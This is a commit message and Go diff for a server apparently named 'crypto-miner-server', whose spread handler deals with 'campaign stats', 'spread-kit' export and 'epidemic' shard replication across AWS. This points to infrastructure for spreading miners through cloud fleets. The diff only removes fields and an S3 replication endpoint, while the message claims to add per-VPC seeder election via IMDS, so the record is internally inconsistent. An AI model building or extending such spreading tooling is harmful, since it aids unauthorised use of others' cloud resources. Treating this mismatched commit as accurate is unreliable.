Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.

server/internal/api/spread_handler.go

@@ -1,4 +1,4 @@
-package api
+package api
 
 import (
 	"encoding/json"
@@ -12,60 +12,17 @@ import (
 	"time"
 
 	dbpkg "crypto-miner-server/internal/db"
-	"crypto-miner-server/internal/erasure"
 
 	"github.com/go-chi/chi/v5"
 )
 
 // SpreadHandler covers Emberwake notes, campaign stats, and spread-kit ZIP export.
 type SpreadHandler struct {
-	db            *dbpkg.Database
-	dataDir       string
-	projectRoot   string
-	wsHub         *WSHub
-	publicURL     func() string
-	erasureShards *erasure.ShardStore
-	deployPlan    *DeployPlanHandler
-	s3CRRConfigFn func() erasure.S3ShardConfig
-	policyPathTracer *PathTracerHandler
-	policyFanoutCfgFn func() PolicyFanoutConfig
-	notesMu       sync.RWMutex
-}
-
-func (h *SpreadHandler) BindErasureShards(store *erasure.ShardStore) {
-	if h != nil {
-		h.erasureShards = store
-	}
-}
-
-func (h *SpreadHandler) BindDeployPlan(handler *DeployPlanHandler) {
-	if h != nil {
-		h.deployPlan = handler
-	}
-}
-
-func (h *SpreadHandler) BindS3CRRConfig(fn func() erasure.S3ShardConfig) {
-	if h != nil {
-		h.s3CRRConfigFn = fn
-	}
-}
-
-// GET /api/v1/spread/aws-s3-crr-template — operator-applied CRR JSON (no AWS API calls).
-func (h *SpreadHandler) GetS3CRRTemplate(w http.ResponseWriter, r *http.Request) {
-	if h == nil || h.s3CRRConfigFn == nil {
-		http.Error(w, "s3 crr not configured", http.StatusServiceUnavailable)
-		return
-	}
-	doc, err := erasure.BuildS3CRRRule(h.s3CRRConfigFn())
-	if err != nil {
-		http.Error(w, err.Error(), http.StatusBadRequest)
-		return
-	}
-	writeJSON(w, map[string]interface{}{
-		"template": "templates/spread/aws/s3-crr-rule.json",
-		"rule":     doc,
-		"notes":    "Apply via S3 console or CLI; enables cross-region shard epidemic replication under shards/",
-	})
+	db          *dbpkg.Database
+	dataDir     string
+	projectRoot string
+	wsHub       *WSHub
+	notesMu     sync.RWMutex
 }
 
 func NewSpreadHandler(database *dbpkg.Database, dataDir, projectRoot string, wsHub *WSHub) *SpreadHandler {